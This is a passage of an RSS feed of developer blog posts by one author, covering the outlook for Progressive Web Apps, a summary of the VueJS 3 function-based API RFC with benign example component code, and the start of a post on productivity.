&lt;p&gt;On Android PWAs are actually installed as &lt;a href="https://developers.google.com/web/fundamentals/integration/webapks"&gt;WebAPKs&lt;/a&gt;, and thus live as native applications on your phone. With their introduction of &lt;a href="https://www.blog.google/products/android-enterprise/managed-google-play-iframe/"&gt;"Google Play iFrame"&lt;/a&gt; (I know, what a name) for Managed Google Play, Google has effectively made the first step to allowing PWAs to be published on the Play Store directly, meaning you no longer need to run them as a WebView/in Cordova or deploy them as a &lt;a href="https://developers.google.com/web/updates/2019/02/using-twa"&gt;TWA&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;On iOS, I'm afraid we have no such luck, but it's not entirely unlikely that this type of support will come in the near future. See, if you need to install a PWA from the App Store, you end up paying Apple for distribution again, as well as providing them with install and usage data. This might be the path to both adding App Store Discovery and native functionality support on iOS, all at once.&lt;/p&gt;

&lt;p&gt;Going store-first isn't &lt;em&gt;native&lt;/em&gt; to Progressive Web Apps. The entire idea of a PWA is that it's installable from your browser without needing to use a store. However, with Apple's need for control over the applications that live on their products, it's almost impossible to see a future where PWAs have all native functionality but aren't listed in the App Store. It's hard to say when Apple and Google will allow PWAs to be listed in the app store but I do believe it'll happen sooner rather than later. &lt;/p&gt;

&lt;h2&gt;
  
  
  Add to homescreen
&lt;/h2&gt;

&lt;p&gt;As I mentioned earlier, the "Add to homescreen" experience is seriously lacking. On desktop, it's hard to find and on mobile, it looks terrible if you don't customize it. The line "Add to homescreen" also doesn't mean anything yet to the general public. They're used to installing something on their phones, not adding something to their homescreen. I reckon this wording will change as soon as PWAs are added to their respective app stores and hope to see it changed to "Install &lt;em&gt;app name&lt;/em&gt; to your device?"&lt;/p&gt;

&lt;p&gt;The process of overriding the "Add to homescreen" popup is actually not difficult at all, and building a custom alert is a great way to make it clearer to your users what happens when you click &lt;em&gt;yes&lt;/em&gt;. That's why I don't think this issue is a particularly high-priority one so I expect this naming to change when either Google or Apple decides to give PWAs a bit of a rebranding, probably whenever Apple decides to introduce it as something entirely new they invented; maybe &lt;em&gt;Lightning Apps&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  In closing
&lt;/h2&gt;

&lt;p&gt;Progressive Web Applications have come an incredibly long way over the last couple years. They went from this little niche functionality to now being used by the largest companies in the world. Time and time again PWAs have proven to be incredibly useful for building apps that feel native without having to learn Swift or Java. I believe the future of PWAs is a bright one, where both Apple and Google support them fully and start seeing them as first-class citizens. I genuinely expect Apple to not go with the "PWA" term and rebrand it as something of their own, but as long as that means we get native functionality on the web, I couldn't care less.&lt;/p&gt;

&lt;p&gt;Where do you think Progressive Web Applications are headed?&lt;/p&gt;

</description>
      <category>android</category>
      <category>ios</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>VueJS is dead, long live VueJS!</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Fri, 21 Jun 2019 18:54:31 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/vuejs-is-dead-long-live-vuejs-1g7f</link>
      <guid>https://forem.com/stefandorresteijn/vuejs-is-dead-long-live-vuejs-1g7f</guid>
      <description>&lt;p&gt;With the release of the &lt;a href="https://github.com/vuejs/rfcs/blob/function-apis/active-rfcs/0000-function-api.md"&gt;VueJS 3 "Request for Comment" documentation&lt;/a&gt; about two weeks ago, Evan You introduced the VueJS function-based API and has set the VueJS community ablaze. These new ideas are still in the "Request for Comments" stage, so they're far from set in stone, but because the RFC introduces such significant changes, I made a quick summary of what you need to know.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NB: All this information and much more is in the RFC, so I do suggest you read that.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Setup
&lt;/h2&gt;

&lt;p&gt;VueJS 3 departs from the option-based API we've grown to love and introduces the &lt;code&gt;setup()&lt;/code&gt; function, which will be where all the magic happens. This function single-handedly sets up the the logic for our component and returns data that's exposed to the template. The option-based API will continue to work even in VueJS 3, but this new function-based API will be the new standard.&lt;/p&gt;

&lt;p&gt;For all the functionality we're used to from VueJS like reactive data, computed values, methods and watchers, we &lt;code&gt;import&lt;/code&gt; functions from &lt;code&gt;vue&lt;/code&gt; and use them in our &lt;code&gt;setup()&lt;/code&gt; function. Here's a basic example from the RFC:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight vue"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;count is &lt;span class="si"&gt;{{&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="si"&gt;}}&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;plusOne is &lt;span class="si"&gt;{{&lt;/span&gt; &lt;span class="nx"&gt;plusOne&lt;/span&gt; &lt;span class="si"&gt;}}&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="na"&gt;click=&lt;/span&gt;&lt;span class="s"&gt;"increment"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;count++&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;script&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;computed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;watch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;onMounted&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;vue&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// reactive state&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;// computed state&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;plusOne&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;computed&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;// method&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;increment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;// watch&lt;/span&gt;
    &lt;span class="nx"&gt;watch&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`count * 2 is &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="c1"&gt;// lifecycle&lt;/span&gt;
    &lt;span class="nx"&gt;onMounted&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`mounted`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="c1"&gt;// expose bindings on render context&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nx"&gt;plusOne&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nx"&gt;increment&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="k"&gt;script&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  But why?
&lt;/h2&gt;

&lt;p&gt;If that example doesn't make it clear why this change was introduced, or if it feels like a step back in terms of usability, I understand. I had the same initial reaction and it took me a bit of time to figure out why this change was necessary. The v2.x API is widely loved and is often the reason why people move to VueJS from other frameworks like ReactJS or AngularJS, so a change this drastic seems like a strange idea.&lt;/p&gt;

&lt;h3&gt;
  
  
  Encapsulation is king
&lt;/h3&gt;

&lt;p&gt;The component API was created in part to make it easier to reuse code across your application. While VueJS is seriously modular and uses components, the current option-based API doesn't allow for an easy extraction of functionality that relates to a single piece of functionality or data. You need to define your data(/state), computed values and methods separately, while they might all be related. This gets confusing when components grow and methods deal with different pieces of data. &lt;/p&gt;

&lt;p&gt;This is where the new function-based API comes in. It allows you to extract all code related to a piece of logic and put it together in what they call a "composition function", which returns reactive state. An example given in the RFC uses one of those composition functions to &lt;a href="https://github.com/vuejs/rfcs/blob/function-apis/active-rfcs/0000-function-api.md#logic-composition"&gt;extract the logic of listening to the mouse position&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;useMouse&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;update&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageX&lt;/span&gt;
    &lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageY&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nx"&gt;onMounted&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;mousemove&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="nx"&gt;onUnmounted&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;removeEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;mousemove&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// in consuming component&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;Component&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;useMouse&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;div&amp;gt;{{ x }} {{ y }}&amp;lt;/div&amp;gt;`&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we compare this to how we would write this functionality in the v2.x API, we can see that the functionality related to using the mouse position is all over the place, where in the v3.x API, it's quite nicely grouped in a singular function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight vue"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;
        &lt;span class="si"&gt;{{&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="si"&gt;}}&lt;/span&gt; &lt;span class="si"&gt;{{&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="si"&gt;}}&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;script&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="nx"&gt;mounted&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;mousemove&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="nx"&gt;beforeDestroy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;removeEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;mousemove&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageX&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="k"&gt;script&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  And more
&lt;/h3&gt;

&lt;p&gt;Encapsulation isn't the only reason why these changes are useful, so here are two other reasons why this change might be what VueJS needs.&lt;/p&gt;

&lt;p&gt;The current option-based API in VueJS has an issue in that it doesn't properly support TypeScript type inference. The proposed changes fix this issue, and achieve full typing support, with TS code looking almost the same as JS code as a cherry on top of an already very useful pie.&lt;/p&gt;

&lt;p&gt;VueJS is loved for its extremely small bundle size and this change shrinks that bundle even more. Since function and variable names can be shortened with standard minification (while object/class methods and properties can't), the code simply compresses better.&lt;/p&gt;

&lt;h2&gt;
  
  
  Thoughts?
&lt;/h2&gt;

&lt;p&gt;Initial reactions to the RFC have been mixed, with some users comparing these changes to React and suggesting VueJS is losing its edge. My first response was far from positive too, but the longer I look at it, the more the encapsulation advantage starts to outweigh the cleanliness of the current API.&lt;/p&gt;

&lt;p&gt;What are your thoughts?&lt;/p&gt;

</description>
      <category>vue</category>
      <category>javascript</category>
      <category>webdev</category>
      <category>advanced</category>
    </item>
    <item>
      <title>PWAs are our future</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Thu, 30 May 2019 12:39:50 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/pwas-are-our-future-5591</link>
      <guid>https://forem.com/stefandorresteijn/pwas-are-our-future-5591</guid>
      <description>&lt;p&gt;I am confident in predicting that we will see Progressive Web Applications (PWAs) take over from native applications in the next few years. In fact, I believe at least 80% of new non-gaming apps on mobile phones in the next 5 years will be created using web technologies. &lt;/p&gt;

&lt;h3&gt;
  
  
  PWAs have been around for 12 years
&lt;/h3&gt;

&lt;p&gt;Steve Jobs was right in 2007. Not only was he right about what mobile phones would look like for at least the next 12 years, he was also right about what mobile apps should look like. He announced that the standard format for &lt;em&gt;apps&lt;/em&gt; on iPhones would be what we now call HTML5. Apps would require no SDK, have easy access to native functionality, and thus be easily buildable by anyone with a web development background.&lt;/p&gt;

&lt;p&gt;It didn't take long for Apple to decide this was no longer the direction they wanted to go. They introduced the iOS SDK and native development became a lot more complicated. Functionality that was intended to work in-browser became native-only, forcing developers to learn new languages and shift towards becoming native developers. &lt;/p&gt;

&lt;p&gt;Since then, web development has grown a lot. Many web applications are now more feature-rich and impressive than their native counterparts. JavaScript has become a force to be reckoned with and with the introduction of PWA support in both Android and iOS, there's a real future where web developers can build native-ready applications without needing to learn an entirely new language.&lt;/p&gt;

&lt;h3&gt;
  
  
  PWAs are the best of us
&lt;/h3&gt;

&lt;p&gt;A &lt;em&gt;Progressive Web Application&lt;/em&gt; is not like any other web app. There are a few characteristics that these specific applications have, and a couple requirements that need to be met in order for an application to be considered a &lt;em&gt;real&lt;/em&gt; PWA.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;R E L I A B L E&lt;/em&gt;&lt;br&gt;
A progressive web application needs to be accessible even when there is no internet connection available, and that doesn't just go for one "We are not currently available"-page. Every URL needs to be accessible, even if it's just to show the data that's been cached. On top of that, PWAs have to be served over HTTPS, need to be responsive on tablet &amp;amp; mobile devices and the entire site has to work cross-browser.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;F A S T&lt;/em&gt;&lt;br&gt;
A progressive web application needs to be quick. It needs to be quick enough to not drive a person insane when they try to load it on a 3G network for the first time. So get that async script loading up and running, remove some render blocking CSS and optimize the code that's still there!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;E N G A G I N G&lt;/em&gt;&lt;br&gt;
Last but not least, a PWA needs to be engaging. It needs to feel like a native experience, that's smooth and acts consistently. No janky scrolling, no waiting for navigation to happen and when there's an important update you need the user to know about, your PWA can even support push notifications. Maybe most important to the native experience is launching the app. These apps live on the user's home screen, meaning they need to have a manifest containing all the necessary icons and have functional splash screens while your app loads in the background.&lt;/p&gt;

&lt;h3&gt;
  
  
  Support is growing
&lt;/h3&gt;

&lt;p&gt;While originally designed to feel native to mobile devices, PWAs are being supported more and more, including a recent update to Chrome (73) that made it possible for PWAs to be installed on Chrome OS, Linux, Mac and Windows PCs. Of course not all features are supported immediately, but as PWAs become more popular, so too will their features increase per platform. Currently, only Chrome on Android supports all major features you would want in a PWA, but Apple's Safari (on iOS) is quickly following suit. Soon, there will be no real difference between the capabilities of a native app vs those of a PWA.&lt;/p&gt;

&lt;h3&gt;
  
  
  It's so easy
&lt;/h3&gt;

&lt;p&gt;Building a PWA is incredibly easy. If you have any experience working with VueJS and their CLI, you'll have probably made a PWA already, even if you don't know it yet. Yes, PWAs have strict requirements and need to work really well, but it's no longer difficult to make your pages feel quick and smooth. &lt;/p&gt;

&lt;p&gt;PWAs are not some obscure technology anymore that you need to figure out by combining 12 different StackOverflow posts. There are plenty solid guides out there for writing these applications and optimizing them for every OS. Google has &lt;a href="https://codelabs.developers.google.com/codelabs/your-first-pwapp/#0"&gt;an incredible guide&lt;/a&gt; on how to create your first PWA without using a JS framework, and there are many guides like it for different frameworks and standards.&lt;/p&gt;

&lt;p&gt;In future articles I'll write a guide on how to get started with PWAs in VueJS so if you're as in love with Vue as I am, then stick around!&lt;/p&gt;

&lt;h3&gt;
  
  
  In conclusion
&lt;/h3&gt;

&lt;p&gt;PWAs are the future, as they are our past. Google might have coined the &lt;em&gt;Progressive Web App&lt;/em&gt; term, but Steve Jobs envisioned them over 10 years ago. There's a future out there where you write your native-like applications using JavaScript, without having to go through difficult build steps and frustrating app stores. With nearly full access to a device's native functionality, PWAs are bound to take over from native applications and become our #1 way of creating incredible experiences on all devices.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
      <category>ios</category>
      <category>android</category>
    </item>
    <item>
      <title>Finding Flow</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Sat, 01 Dec 2018 02:08:03 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/finding-flow-1dp8</link>
      <guid>https://forem.com/stefandorresteijn/finding-flow-1dp8</guid>
      <description>&lt;p&gt;If you're anything like me, you have a hard time getting up in the morning when nothing is forcing you to do so. You might enjoy a few hours of walking around town, grabbing lunch with friends or finding other ways to enjoy yourself. Then later in the day, you open your laptop and decide it's time to get to work. Is that the most productive lifestyle? Unlikely, but it's not rare.&lt;/p&gt;

